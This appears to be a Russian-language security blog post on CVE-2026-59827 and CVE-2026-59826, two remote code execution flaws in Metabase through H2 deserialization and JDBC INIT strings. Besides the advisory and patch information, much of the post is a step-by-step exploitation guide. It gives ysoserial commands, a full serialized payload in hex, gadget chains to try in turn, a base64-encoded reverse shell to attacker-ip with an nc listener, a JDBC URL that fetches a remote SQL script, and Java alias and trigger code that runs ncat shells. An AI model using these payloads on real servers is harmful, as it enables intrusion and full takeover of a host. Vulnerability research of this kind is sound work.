
Blog on CVE-2026-59827, Unsafe H2 query ouput deserialization
GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critical | CWE-502: Десериализация недоверенных данных
CVE-2026-59827 — это критическая уязвимость удаленного выполнения кода в Metabase, популярной платформе бизнес-аналитики и аналитики данных с открытым исходным кодом. Проблема связана с тем, как Metabase обрабатывает результаты запросов, возвращаемые через H2-соединение с базой данных. Когда нативный SQL-запрос к источнику H2 возвращает столбец с типом OTHER, Metabase десериализует сырые байты этого столбца в Java-объект без проверки. Таким образом, аутентифицированный пользователь, имеющий возможность выполнять нативные запросы, может внедрить вредоносную сериализованную нагрузку в результирующий набор и вызвать произвольное выполнение кода на сервере, где работает Metabase.
Уязвимости присвоен CVSS-балл 9.9, что отражает минимальные предварительные условия и полное выполнение кода на стороне сервера при успешной эксплуатации.
Metabase выпускает две параллельные редакции из одного цикла релизов. Версии открытого исходного кода используют префикс 0 — например, v0.61.1. Версии корпоративной (коммерческой) редакции используют префикс 1 — например, v1.61.1. Обе редакции имеют общую кодовую базу и выпускаются вместе, поэтому уязвимость, затрагивающая v1.61.0, в равной степени затрагивает v0.61.0. В этой статье номера версий записаны с префиксом 1.xx (корпоративная), но каждая затронутая версия напрямую отображается на версию 0.xx с открытым исходным кодом заменой начальной 1 на 0.
CVE-2026-59826 и CVE-2026-59827 были раскрыты вместе в июле 2026 года. Они имеют пересекающиеся диапазоны версий, но разные точки исправления.
Затронуты корпоративные версии 1.58.0–1.58.14, 1.59.0–1.59.11, 1.60.0–1.60.6.2 и 1.61.0–1.61.1.3. Соответствующие версии с открытым исходным кодом: 0.58.0–0.58.14, 0.59.0–0.59.11, 0.60.0–0.60.6.2 и 0.61.0–0.61.1.3.
Внутренний патч был выпущен как 1.61.1.4 (корпоративная) и 0.61.1.4 (открытая). Первое публично доступное исправленное обновление в линейке 1.61 — это 1.61.2 (v1.61.2.x / v0.61.2.x). Облачные экземпляры Metabase были исправлены автоматически провайдером.
Затронуты корпоративные версии 1.55.0–1.58.15.0, 1.59.0–1.59.11, 1.60.0–1.60.6.2 и 1.61.0–вся линейка 1.61.1.x. Первый полностью исправленный публичный релиз — 1.61.2 (v1.61.2.x / v0.61.2.x). Область CVE-2026-59826 шире, охватывая ветку 1.55, что отражает более давнее присутствие недостаточно проверенного пути кода, связанного с созданием базы данных.
Механизм сериализации Java позволяет преобразовать объект в памяти в плоскую последовательность байтов, сохранить или передать её, а затем восстановить, вызвав ObjectInputStream.readObject(). Критическое свойство этого механизма состоит в том, что при восстановлении выполняется код. Конструкторы классов, переопределения readObject и финализаторы — всё это выполняется во время десериализации. Если читаемые байты поступают из недоверенного источника, злоумышленник может подделать их так, чтобы запустить произвольные вызовы методов через последовательность существующих легитимных классов, уже загруженных в JVM. Такие последовательности называются gadget-цепочками.
Gadget-цепочки не требуют внедрения нового кода в приложение. Они эксплуатируют связи существующих библиотечных классов, нормальные методы которых при вызове в нужном порядке во время десериализации в конечном итоге достигают точки выполнения, такой как Runtime.exec(). Инструменты вроде ysoserial существуют именно для генерации таких нагрузок для широко используемых библиотек, таких как Apache Commons Collections, Spring Framework и других.
H2 — это встраиваемая реляционная база данных на чистой Java. Она определяет специальный тип столбца SQL под названием OTHER, который действует как проходное отверстие для произвольных Java-объектов. Когда H2 сохраняет значение в столбце OTHER, он записывает байты, созданные ObjectOutputStream. При чтении значения он вызывает ObjectInputStream.readObject(), чтобы восстановить объект. Сырые сериализованные байты также можно напрямую передать в запросе, используя шестнадцатеричный синтаксис H2:
SELECT CAST(X'ACED0005...' AS OTHER);
-- или
SELECT X'ACED0005...'::OTHER;
Префикс ACED с последующим 0005 — это магическое число и версия протокола потока сериализации Java. Любая шестнадцатеричная строка, начинающаяся с ACED0005, является потоком сериализованных Java-объектов.
Когда H2 обрабатывает этот запрос, он десериализует шестнадцатеричные байты на стороне базы данных. Полученный объект затем передается обратно вызывающему приложению через JDBC ResultSet. Если приложение проверяет значение столбца — например, для форматирования при выводе, — оно может запустить дополнительную обработку. Именно это и делает Metabase в уязвимом пути кода.
Metabase получает JDBC ResultSet от драйвера H2 и проверяет метаданные столбцов, чтобы решить, как отображать каждое значение пользователю. Когда он встречает столбец с типом JDBC Types.OTHER (также известным как JAVA_OBJECT), уязвимые версии Metabase пытаются десериализовать сырые байты, чтобы получить отображаемое представление. Этот вызов десериализации, ObjectInputStream.readObject(), выполняется без какой-либо фильтрации по белому списку или проверки класса.
Последовательность событий:
OTHER, содержащий сфабрикованную сериализованную нагрузку.JAVA_OBJECT в ResultSet.OTHER и вызывает readObject() для байтов.Runtime.exec() и выполняя команду злоумышленника от имени пользователя ОС, под которым запущен процесс Metabase.Исправленные версии решают проблему путем проверки метаданных результатов JDBC перед попыткой десериализации. Если столбец имеет тип JAVA_OBJECT, Metabase теперь полностью отвергает его, а не пытается разобрать.
Для эксплуатации требуется аутентификация. Злоумышленник должен иметь учетную запись Metabase с разрешением на выполнение нативных запросов к базе данных на основе H2. Учетные записи администратора удовлетворяют этому условию по умолчанию. Обычные пользовательские учетные записи также могут удовлетворять этому требованию, если администратор предоставил им разрешение на данные нативных запросов для соответствующей базы данных.
Metabase удалил поддержку добавления H2 в качестве нового соединения для хранилища данных в версии 0.46.6.4, выпущенной в 2023 году. Попытка зарегистрировать новое H2-соединение через интерфейс администратора возвращает ошибку «H2 не поддерживается как хранилище данных». Это удаление было ответом на более ранние уязвимости H2 и предназначалось для устранения риска подключения к контролируемым злоумышленником экземплярам H2.
Однако удаление H2 из интерфейса подключения к хранилищу данных не означает удаление H2 из Metabase. Две H2-базы данных остаются в каждой установке Metabase по умолчанию.
Первая — это база данных приложения. Когда Metabase не настроен на использование внешней базы данных, такой как PostgreSQL или MySQL, он хранит свои собственные метаданные — вопросы, панели мониторинга, учетные записи пользователей и настройки — в файле H2 по пути /metabase-data/metabase.db.mv.db. Эта база данных недоступна для прямых запросов через интерфейс Metabase.
Вторая, и более непосредственно эксплуатируемая — это образец базы данных. Во время начальной настройки Metabase создает H2-базу данных, предварительно заполненную демонстрационными данными, и делает ее доступной как соединение «Sample Database». Это соединение присутствует по умолчанию в каждом экземпляре Metabase и является основной поверхностью атаки для CVE-2026-59827. Это живое H2-соединение, к которому пользователи могут выполнять нативные SQL-запросы, а строка подключения, видимая на панели администратора, указывает на file:/plugins/sample-database.db.
Образец базы данных обеспечивает доступ только для чтения для всех пользователей, включая администраторов. Страница настроек базы данных Metabase по адресу http://localhost:3000/admin/databases позволяет предоставить разрешение на запись для подключенных баз данных, но переключатель недоступен для образца базы данных. Это означает, что операторы DML, такие как CREATE, UPDATE и DELETE, не могут быть выполнены против образца базы данных обычными средствами.
Это ограничение важно, поскольку оно закрывает определенные альтернативные пути атаки. Например, H2 поддерживает инструкцию CREATE ALIAS, которая может определить Java-функцию и вызвать её:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
Поскольку доступ на запись заблокирован для образца базы данных, этот путь DDL недоступен. Путь десериализации через SELECT X'...'::OTHER является жизнеспособным вектором эксплуатации именно потому, что требует только инструкции SELECT, которая разрешена всем пользователям.
Для тестирования этой уязвимости в контролируемой лабораторной среде запустите версию Metabase из затронутого диапазона:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
Metabase инициализируется по адресу http://localhost:3000, создаст свою H2-базу данных приложения в /metabase-data/metabase.db.mv.db и автоматически подготовит образец базы данных. Пройдите начальную настройку учетной записи, чтобы получить аутентифицированный сеанс. После настройки перейдите в редактор SQL для образца базы данных. Это окружение для выполнения эксплойта.
Прежде чем пытаться выполнить команду, убедитесь, что путь десериализации достижим. Gadget-цепочка URLDNS из ysoserial генерирует нагрузку, которая при десериализации выполняет внешний DNS-запрос к указанному имени хоста. Она не выполняет никаких системных команд, что делает её безопасным зондом для подтверждения того, что readObject() действительно вызывается.
Сгенерируйте нагрузку:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
Это создает шестнадцатеричную строку, начинающуюся с aced0005. Пример шестнадцатеричного вывода из захваченной нагрузки:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Откройте редактор SQL в Metabase для образца базы данных и выполните следующее, подставив шестнадцатеричную строку, сгенерированную для вашего OAST-хоста:
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
Следите за вашим OAST-слушателем. Получение DNS-запроса с IP-адреса сервера Metabase подтверждает, что readObject() был вызван и десериализация происходит для столбца OTHER.
Какая gadget-цепочка обеспечит выполнение кода, зависит от того, какие библиотеки Java присутствуют в classpath сервера Metabase. Попробуйте следующие цепочки последовательно:
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
Преобразуйте каждую бинарную нагрузку в шестнадцатеричный формат, требуемый SQL-запросом:
xxd -p payload.bin | tr -d '\n' > payload.hex
Затем отправьте, используя тот же шаблон SELECT X'...'::OTHER в редакторе SQL Metabase, и наблюдайте, отражается ли вывод команды в каком-либо сообщении об ошибке или ответе.
После определения рабочей gadget-цепочки замените тестовую команду на желаемую нагрузку. Для обратного шелла закодируйте команду в base64, чтобы избежать проблем с кавычками в shell:
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
Сгенерируйте нагрузку ysoserial с шаблоном выполнения, декодирующим base64:
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
Настройте слушатель перед отправкой запроса:
nc -lvnp 4444
Затем вставьте шестнадцатеричную строку в редактор SQL:
SELECT X'<вставьте сюда шестнадцатеричную строку>'::OTHER;
Когда Metabase обработает результирующий набор и встретит столбец OTHER, сработает readObject(), выполнится gadget-цепочка, и обратный шелл установит соединение.
Если возникает InvalidClassException, gadget-цепочка зависит от версии библиотеки, не соответствующей тому, что присутствует на сервере. Попробуйте другую цепочку.
Если после отправки запроса ничего не происходит, либо экземпляр уже исправлен, либо активны фильтры сериализации JEP 290, блокирующие gadget-цепочку, либо тип столбца OTHER не обрабатывается уязвимым путем кода.
Если возникает ClassNotFoundException, требуемая библиотека отсутствует в classpath. Попробуйте другую цепочку.
В выводе пользовательского интерфейса вы получите только ошибку «We're experiencing server issue»:
CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) — это связанная уязвимость, раскрытая одновременно. В то время как CVE-2026-59827 эксплуатирует десериализацию через результаты запросов, CVE-2026-59826 нацелена на другой путь кода: конечную точку регистрации базы данных. Аутентифицированный администратор может отправить поддельный URL JDBC H2-подключения, содержащий параметр INIT, который выполняется при установке соединения. Поскольку проверка поля INIT была недостаточной в определенных путях кода создания и редактирования базы данных, злоумышленник с правами администратора может добиться RCE через строку подключения, а не через запрос.
Вредоносный URL INIT-подключения принимает такую форму:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
SQL-файл, предоставленный злоумышленником, может определить и вызвать псевдоним Java, который выполняет команды оболочки:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
Альтернативно, строка INIT может внедрить триггер напрямую без удаленного получения файла:
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
Обе уязвимости, CVE-2026-59826 и CVE-2026-59827, имеют одну и ту же первопричину — недостаточную защиту от функций выполнения на стороне сервера H2 — но различаются конкретными эксплуатируемыми путями кода и требуемым уровнем привилегий.
Обновите Metabase до одной из следующих исправленных версий: 1.58.15, 1.59.12, 1.60.6.3 или 1.61.1.4. Эти версии изменяют конвейер обработки результатов для проверки метаданных столбцов JDBC и отказываются обрабатывать любые столбцы, сообщаемые как тип JAVA_OBJECT или OTHER, предотвращая вызов десериализации.
Если немедленное обновление невозможно, ограничьте разрешения на выполнение нативных запросов. Удалите разрешение на выполнение нативных запросов у всех неадминистративных пользователей для баз данных на основе H2, включая образец базы данных. Это сокращает поверхность атаки только до уровня администратора. Отдельно рассмотрите, нужна ли образец базы данных вообще; ее отключение или удаление полностью устраняет поверхность атаки H2 для этого CVE.
Для самостоятельно размещенных экземпляров, использующих H2 в качестве базы данных приложения, документация Metabase рекомендует перейти на PostgreSQL или MySQL как более надежную и безопасную серверную базу данных.